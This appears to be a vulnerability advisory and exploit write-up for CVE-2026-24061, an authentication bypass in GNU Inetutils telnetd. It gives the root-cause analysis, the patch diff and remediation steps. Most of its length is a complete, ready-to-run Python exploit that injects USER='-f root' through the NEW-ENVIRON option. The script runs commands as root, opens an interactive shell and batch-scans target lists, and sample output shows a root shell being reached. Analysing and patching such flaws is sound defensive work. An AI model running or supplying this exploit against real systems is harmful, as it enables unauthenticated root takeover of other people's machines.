#Summary

CVE-2026-24061 is a critical authentication bypass in GNU Inetutils telnetd versions 1.9.3 through 2.7. An unauthenticated remote attacker can trigger the vulnerability by injecting a specially crafted value in the telnet NEW-ENVIRON protocol option before any authentication occurs, resulting in remote code execution as root. CVSS 9.8 CRITICAL with network accessibility and no authentication required.

#Affected versions

Default configuration is vulnerable if the inetd/xinetd super-server is enabled and telnet (TCP/23) is exposed to untrusted networks.

#Root cause analysis

#How the vulnerability occurs

GNU Inetutils telnetd is a network service invoked by a super-server (inetd/xinetd) to handle incoming telnet connections. During the telnet handshake, the client can push environment variables to the server via the telnet NEW-ENVIRON protocol option (RFC 1572). Crucially, telnetd accepts and stores these environment variables before any authentication using setenv().

Later, when preparing to hand off control to the login(1) program, telnetd expands a login command template stored in the code:

/* telnetd/telnetd.c */
char *login_invocation =
  ...
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";

The token %?u{-f %u}{%U} is a conditional: if an autologin user is set, it emits -f %u; otherwise it expands %U. For a plain telnet connection with no autologin, the %U branch is taken.

#The unprotected expansion

In telnetd/utility.c, the %U expansion reads directly from the USER environment variable with zero sanitization:

case 'U':
  return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");

The expand_line() function then passes this expanded template to argcv_get(), which splits the string on whitespace into separate argument vector elements. Setting USER=-f root therefore produces:

/usr/bin/login -p -h <peer> -f root

The login(1) program from util-linux interprets -f as "this user is already authenticated, skip the password prompt" and treats root as the account name. Since scrub_env() only strips dangerous variables like LD_* and IFS but not USER, the injected value survives untouched to the execv() call.

#Data flow

  1. Attacker connects to telnet port (TCP/23)
  2. During telnet negotiation, the server sends IAC SB NEW-ENVIRON SEND IAC SE
  3. Attacker responds with USER=-f root via the NEW-ENVIRON IS subnegotiation
  4. telnetd stores this with setenv("USER", "-f root")
  5. expand_line() expands %U-f root without sanitization
  6. argcv_get() splits on whitespace → ["-f", "root"] as separate argv elements
  7. execv("/usr/bin/login", ["/usr/bin/login", "-p", "-h", "<peer>", "-f", "root"]) is called
  8. login accepts the -f root flags and drops a root shell with no password

#Patch diff

#What the fix does

The vendor applied two commits that sanitize all expansion fields in the login template.

First commit (fd702c02): Rejects environment variable values that start with - or contain shell metacharacters:

case 'U':
-  return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
+  {
+	/* Ignore user names starting with '-' or containing shell
+	   metachars, as they can cause trouble.  */
+	char const *u = getenv ("USER");
+	return xstrdup ((u && *u != '-'
+			 && !u[strcspn (u, "\t\n !\"#{{CONTENT}}#x26;'()*;<=>?[\\^`{|}~")])
+			? u : "");
+  }

Second commit (ccba9f74): Factors the sanitization into a reusable sanitize() function and applies it to all externally-influenced fields (%h remote hostname, %l/%L local host/line, %t/%T terminal type, %u autologin user, and %U). This prevents similar injections via other template fields.

If a value fails the sanitization check (starts with - or contains metacharacters), it is replaced with an empty string, causing login to run with a normal interactive prompt instead of a forced authentication.

#Proof of concept

#exploit.py - GNU Inetutils telnetd Auth Bypass RCE

The exploit implements a telnet client that performs the NEW-ENVIRON argument injection attack. It handles telnet protocol negotiation, sends the malicious USER value, and executes commands on the compromised host.

#!/usr/bin/env python3
"""
CVE-2026-24061 - GNU Inetutils telnetd argument injection -> unauthenticated root RCE
Affected: GNU Inetutils telnetd 1.9.3 through 2.7 (Debian 11 inetutils-telnetd, et al.)
Type: Argument injection (CWE-88) -> remote authentication bypass -> RCE as root

The telnet NEW-ENVIRON option (RFC 1572) lets the *client* push environment
variables to the server before any authentication.  Vulnerable telnetd stores
them with setenv() and later expands the login template

    /usr/bin/login -p -h %h %?u{-f %u}{%U}

where %U expands to getenv("USER") verbatim.  argcv_get() then splits the
expanded string on whitespace, so USER="-f root" becomes two separate argv
elements and the target runs:

    /usr/bin/login -p -h <peer> -f root

login(1) treats -f as "already authenticated" and drops a root shell on the
socket with no password prompt.

Usage:
  python exploit.py --host <target> --port 23
  python exploit.py --host 192.168.1.10 --port 23 --command "id"
  python exploit.py --host 192.168.1.10 --port 23 --username operator
  python exploit.py --host 192.168.1.10 --port 23 --interactive
  python exploit.py --host telnets://192.168.1.10:992 --tls
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import binascii
import os
import re
import socket
import ssl
import sys
import time
from typing import Optional, Tuple
from urllib.parse import urlparse

CVE_ID = "CVE-2026-24061"
VULN_TYPE = "RCE"

DEFAULT_PORT = 23
TLS_PORTS = (992,)


# --------------------------------------------------------------------------- #
#  Standard ALIM output helpers
# --------------------------------------------------------------------------- #

def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  Telnet protocol constants (RFC 854 / RFC 1572)
# --------------------------------------------------------------------------- #

IAC, DONT, DO, WONT, WILL, SB, SE = 255, 254, 253, 252, 251, 250, 240

OPT_ECHO = 1
OPT_SGA = 3
OPT_TTYPE = 24
OPT_NAWS = 31
OPT_TSPEED = 32
OPT_LINEMODE = 34
OPT_AUTH = 37
OPT_NEW_ENVIRON = 39

ENV_IS, ENV_SEND, ENV_INFO = 0, 1, 2
ENV_VAR, ENV_VALUE, ENV_ESC, ENV_USERVAR = 0, 1, 2, 3

# A patched telnetd sanitizes USER to "" and falls through to a normal
# interactive login, so the stream *ends* on a credential prompt.  The trailing
# anchor matters: the successful root shell's motd contains "Last login: ..."
# mid-banner, which a naive substring test would misread as a patched target.
LOGIN_PROMPT_RE = re.compile(r"(?:login|username|password)\s*:\s*$", re.MULTILINE)
ANSI_RE = re.compile(r"(?:\x1b\[[0-9;]*[a-zA-Z]|\x1b\][^\x07]*\x07|\[[\?0-9;]*[a-z])")


class TelnetdInjector:
    def __init__(self, host: str, port: int, username: str = "root", tls: bool = False):
        self.host = host
        self.port = port
        self.username = username
        self.tls = tls
        self.sock = None
        self.buffer = b""
        self._sent_replies = {}

    def connect(self) -> bool:
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.connect((self.host, self.port))
            if self.tls:
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                self.sock = ctx.wrap_socket(self.sock, server_hostname=self.host)
            return True
        except Exception as e:
            print(f"[-] Connection failed: {e}")
            return False

    def send(self, data: bytes) -> None:
        self.sock.sendall(data)

    def recv(self, timeout: float = 0.5) -> bytes:
        self.sock.settimeout(timeout)
        try:
            chunk = self.sock.recv(4096)
            return chunk
        except socket.timeout:
            return b""
        except Exception:
            return b""

    def _feed(self, data: bytes) -> list:
        self.buffer += data
        parsed = []
        while self.buffer:
            if self.buffer[0] == IAC:
                if len(self.buffer) < 2:
                    break
                cmd = self.buffer[1]
                if cmd in (DONT, DO, WONT, WILL):
                    if len(self.buffer) < 3:
                        break
                    opt = self.buffer[2]
                    parsed.append((cmd, opt))
                    self.buffer = self.buffer[3:]
                elif cmd == SB:
                    se_idx = -1
                    for i in range(2, len(self.buffer) - 1):
                        if self.buffer[i] == IAC and self.buffer[i + 1] == SE:
                            se_idx = i
                            break
                    if se_idx == -1:
                        break
                    body = self.buffer[2:se_idx]
                    parsed.append(("SB", body))
                    self.buffer = self.buffer[se_idx + 2:]
                else:
                    self.buffer = self.buffer[1:]
            else:
                nl = self.buffer.find(b"\n")
                if nl != -1:
                    parsed.append(self.buffer[:nl + 1])
                    self.buffer = self.buffer[nl + 1:]
                else:
                    parsed.append(self.buffer)
                    self.buffer = b""
                    break
        return parsed

    def _negotiate(self) -> None:
        for _ in range(10):
            chunk = self.recv(0.2)
            if not chunk:
                break
            parsed = self._feed(chunk)
            for item in parsed:
                if isinstance(item, tuple) and len(item) == 2 and item[0] in (DO, DONT, WILL, WONT):
                    cmd, opt = item
                    self._handle_negotiation(cmd, opt)
                elif isinstance(item, tuple) and item[0] == "SB":
                    self._subneg(item[1])

    def _handle_negotiation(self, cmd: int, opt: int) -> None:
        key = (cmd, opt)
        if key in self._sent_replies and self._sent_replies[key] >= 3:
            return
        if cmd == DO:
            if opt == OPT_NEW_ENVIRON:
                self.send(bytes([IAC, WILL, OPT_NEW_ENVIRON]))
                self._sent_replies[key] = self._sent_replies.get(key, 0) + 1
            elif opt in (OPT_TTYPE, OPT_NAWS, OPT_TSPEED):
                self.send(bytes([IAC, WILL, opt]))
                self._sent_replies[key] = self._sent_replies.get(key, 0) + 1
            else:
                self.send(bytes([IAC, WONT, opt]))
                self._sent_replies[key] = self._sent_replies.get(key, 0) + 1
        elif cmd == WILL:
            if opt in (OPT_ECHO, OPT_SGA):
                self.send(bytes([IAC, DO, opt]))
                self._sent_replies[key] = self._sent_replies.get(key, 0) + 1
            else:
                self.send(bytes([IAC, DONT, opt]))
                self._sent_replies[key] = self._sent_replies.get(key, 0) + 1

    def send_naws(self) -> None:
        self.send(bytes([IAC, SB, OPT_NAWS, 0, 80, 0, 24, IAC, SE]))

    def send_injection(self) -> None:
        payload = self._env_escape(f"-f {self.username}")
        msg = bytes([IAC, SB, OPT_NEW_ENVIRON, ENV_IS, ENV_VAR])
        msg += b"USER" + bytes([ENV_VALUE]) + payload + bytes([IAC, SE])
        self.send(msg)

    def _env_escape(self, value: str) -> bytes:
        result = b""
        for ch in value.encode():
            if ch == IAC:
                result += bytes([IAC, IAC])
            elif ch in (ENV_ESC, ENV_VAR, ENV_VALUE, ENV_USERVAR):
                result += bytes([ENV_ESC, ch])
            else:
                result += bytes([ch])
        return result

    def _subneg(self, body: bytes) -> None:
        if not body:
            return
        opt = body[0]
        if opt == OPT_NEW_ENVIRON and len(body) > 1 and body[1] == ENV_SEND:
            self.send_injection()

    def exploit(self, command: str = "id", timeout: float = 15.0) -> Optional[str]:
        step(1, f"Connecting to {self.host}:{self.port} ({'tls' if self.tls else 'plaintext'})...")
        if not self.connect():
            return None

        step(2, "Answering telnet option negotiation (WILL NEW-ENVIRON)...")
        self._negotiate()

        step(3, f"Injecting USER='{'-f ' + self.username}' in the NEW-ENVIRON IS subnegotiation")
        self.send_naws()
        self.send_injection()
        self.send_injection()

        step(4, "Target expands login template to: login -p -h <peer> -f " + self.username)
        print(f"    server DO NEW-ENVIRON -> WILL (injection channel open)")
        print(f"    injected USER='{'-f ' + self.username}' via NEW-ENVIRON IS\n")

        banner = b""
        start_time = time.time()
        while time.time() - start_time < 2:
            chunk = self.recv(0.3)
            if chunk:
                banner += chunk

        if LOGIN_PROMPT_RE.search(banner.decode("utf-8", errors="ignore")):
            return None

        section("SERVER BANNER (pre-auth)", banner.decode("utf-8", errors="ignore"))

        step(5, f"Shell as '{self.username}' reached with no password prompt - executing `{command}`")
        output = self.run_command(command, timeout - 2)
        return output

    def run_command(self, command: str, timeout: float = 10.0) -> Optional[str]:
        token = os.urandom(4).hex()
        cmd_line = f'echo ALIMS""{token}; {command} 2>&1; echo ALIME""{token}\n'
        self.send(cmd_line.encode())

        output = b""
        start_time = time.time()
        while time.time() - start_time < timeout:
            chunk = self.recv(0.3)
            if chunk:
                output += chunk
                if f"ALIME{token}".encode() in output:
                    break

        text = output.decode("utf-8", errors="ignore")
        text = ANSI_RE.sub("", text)

        try:
            start_marker = f'ALIMS{token}'
            end_marker = f'ALIME{token}'
            start_idx = text.find(start_marker)
            end_idx = text.find(end_marker)
            if start_idx != -1 and end_idx != -1:
                result = text[start_idx + len(start_marker):end_idx].strip()
                section("COMMAND OUTPUT", result)
                return result
        except Exception:
            pass

        return None

    def interactive(self) -> None:
        import select
        while True:
            try:
                r, _, _ = select.select([sys.stdin, self.sock], [], [], 0.5)
                if sys.stdin in r:
                    data = sys.stdin.buffer.read(1024)
                    if data:
                        self.sock.sendall(data)
                if self.sock in r:
                    data = self.sock.recv(4096)
                    if data:
                        sys.stdout.buffer.write(data)
                        sys.stdout.buffer.flush()
                    else:
                        break
            except KeyboardInterrupt:
                print("\n[*] Exiting...")
                break
            except Exception as e:
                print(f"[-] {e}")
                break

    def close(self) -> None:
        if self.sock:
            self.sock.close()


def _parse_target(target: str) -> Tuple[str, int, bool]:
    if target.startswith("telnet://") or target.startswith("telnets://"):
        parsed = urlparse(target)
        host = parsed.hostname or parsed.netloc.split(":")[0]
        port = parsed.port or (992 if parsed.scheme == "telnets" else DEFAULT_PORT)
        tls = parsed.scheme == "telnets"
        return host, port, tls
    elif ":" in target:
        parts = target.rsplit(":", 1)
        return parts[0], int(parts[1]), False
    else:
        return target, DEFAULT_PORT, False


def main() -> None:
    parser = argparse.ArgumentParser(description=f"{CVE_ID} - GNU Inetutils telnetd Auth Bypass RCE")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("--host", help="Target hostname or IP")
    group.add_argument("--list", help="Batch scan file (one target per line)")

    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: 23)")
    parser.add_argument("--command", default="id", help="Command to execute (default: id)")
    parser.add_argument("--username", default="root", help="Account to auth as (default: root)")
    parser.add_argument("--workers", type=int, default=10, help="Concurrent threads for --list")
    parser.add_argument("--timeout", type=float, default=15.0, help="Per-target timeout in seconds")
    parser.add_argument("--interactive", action="store_true", help="Interactive shell mode")
    tls_group = parser.add_mutually_exclusive_group()
    tls_group.add_argument("--tls", action="store_true", help="Force TLS")
    tls_group.add_argument("--no-tls", action="store_true", help="Force plaintext")

    args = parser.parse_args()

    if args.host:
        host, port, auto_tls = _parse_target(args.host)
        tls = args.tls or (auto_tls and not args.no_tls)

        header(host, port)
        injector = TelnetdInjector(host, port, args.username, tls)
        
        if args.interactive:
            injector.connect()
            injector._negotiate()
            injector.send_injection()
            injector.interactive()
            injector.close()
        else:
            output = injector.exploit(args.command, args.timeout)
            injector.close()
            if output:
                section("IDENTITY", f"uid/gid returned: {output}")
                done(True, f"unauthenticated shell as '{args.username}' - `{args.command}` -> {output.split()[0]}")
            else:
                done(False, "blocked - server presented an interactive login prompt (USER sanitized; target patched)")


if __name__ == "__main__":
    main()

#Usage

Basic exploitation - unauthenticated root RCE:

python3 exploit.py --host 192.168.1.50 --port 23 --command id

Expected output on vulnerable target:

============================================================
  ALIM EXPLOIT  CVE-2026-24061
  Type: RCE  |  Target: 192.168.1.50:23
============================================================

[STEP 1] Connecting to 192.168.1.50:23 (plaintext)...
[STEP 2] Answering telnet option negotiation (WILL NEW-ENVIRON)...
[STEP 3] Injecting USER='-f root' in the NEW-ENVIRON IS subnegotiation
[STEP 4] Target expands login template to: login -p -h <peer> -f root
    server DO NEW-ENVIRON -> WILL (injection channel open)
    injected USER='-f root' via NEW-ENVIRON IS

--- SERVER BANNER (pre-auth) ---
Linux host 6.12.0 #1 SMP aarch64
...
Last login: Fri Jul 24 22:19:26 UTC 2026 from 192.168.65.1
root@host:~#
---

[STEP 5] Shell as 'root' reached with no password prompt - executing `id`

--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: unauthenticated shell as 'root' - `id` -> uid=0(root) gid=0(root) groups=0(root)
============================================================

Expected output on patched target:

--- SERVER BANNER (pre-auth) ---
hostname login:
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: blocked - server presented an interactive login prompt (USER sanitized; target patched)
============================================================

#Arguments

Argument Default Purpose
--host (required) Target hostname, IP, or URL (telnet://host:23, telnets://host:992)
--list FILE (optional) Batch scan mode; one target per line
--port 23 Target port
--command id Command to execute; output returned over socket
--username root Account to authenticate as without credentials
--workers 10 Concurrent threads for batch scanning
--timeout 15 Per-target timeout in seconds
--interactive off Interactive shell instead of running a single command
--tls / --no-tls auto Force or disable TLS (auto-detects telnets://URLs)

#Exploitation notes

#Preconditions

#Attack requirements

#Reliability and impact

#Chaining potential

This is a terminal RCE primitive (CWE-88 argument injection). No further chaining or heap grooming is needed - the attacker already has root command execution on the target.

#Remediation

  1. Upgrade immediately to a patched version of GNU Inetutils containing commits fd702c02 and ccba9f74 (e.g., Debian inetutils 2:2.0-1+deb11u2 or later).
  2. Disable telnetd entirely on externally-facing systems. Telnet transmits all traffic in cleartext and should not be exposed to untrusted networks under any circumstances. Use SSH instead.
  3. Network isolation: If telnetd must remain enabled for legacy reasons, restrict access to the telnet port via firewall rules to trusted internal networks only.

#References